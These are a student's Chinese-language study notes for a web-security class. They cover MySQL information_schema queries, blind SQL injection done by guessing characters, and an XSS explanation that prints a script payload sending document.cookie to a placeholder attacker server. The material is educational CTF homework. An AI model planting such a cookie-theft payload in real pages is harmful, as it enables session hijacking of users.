# 2019/11/12
* information_schema 是什麼
一個建立好並且運作中的資料庫,通常會包含表格、欄位與索引,為了擴充資料庫的功能,也可能會加入stored routines與triggers元件。MySQL把這些資料庫的資訊放在「information_schema」資料庫。
information_schema稱為「database metadata」,包含資料庫元件與伺服器運作的完整資訊都儲存在這個資料庫中,不需要自己建立或維護。

* 如果想知道 這台 mysql server 有啥資料庫,如何下sql指令
```sql=
select table_schema from information_schema.schemata
```
* 如果想知道ctf資料庫底下有什麼表格,如何下sql指令
information_schema裡面有個叫 tables 的表,裡面有兩個會很常用到的欄位
table_schema:資料庫名稱
table_name:資料表名稱
```sql=
select table_name from information_schema.tables where table_schema = 'ctf';
```
* 如果想知道stu table 底下有什麼欄位,如何下sql指令
information_schema裡面有個叫 columns 的表,裡面有三個會很常用到的欄位
table_schema:資料庫名稱
table_name:資料表名稱
column_name:欄位名稱
```sql=
select column_name from information_schema.columns where table_name = 'stu';
```
* 解釋 SQL III 是如何 dump 出整個資料庫
一個一個試,試完a不行,那就換b中了就換下個字元,持之以恆就可以dump整個資料庫
* XSS 攻擊是什麼
XSS:通常指的是通過利用網頁開發時留下的漏洞,注入惡意指令代碼到網頁(永久),使用戶載入並執行攻擊者惡意製造的網頁程式。
* 截圖完成https://xss-game.appspot.com/前三關
第一關:

第二關:

第三關:

* 解釋為何<script>document.location.href="https://{駭客伺服器}/"+document.cookie</script> 可以拿到使用者權限
document.location.href:頁面跳轉到指定網址
執行此指令時,cookie會被傳送到駭客伺服器,駭客得以取得該使用者cookie
* 截圖 CTF 完成 SQL I, II, XSS

{"metaMigratedAt":"2023-06-15T01:42:16.603Z","metaMigratedFrom":"Content","title":"2019/11/12","breaks":true,"contributors":"[{\"id\":\"e45f69c7-b953-472a-9061-6451face59d6\",\"add\":1736,\"del\":397}]"}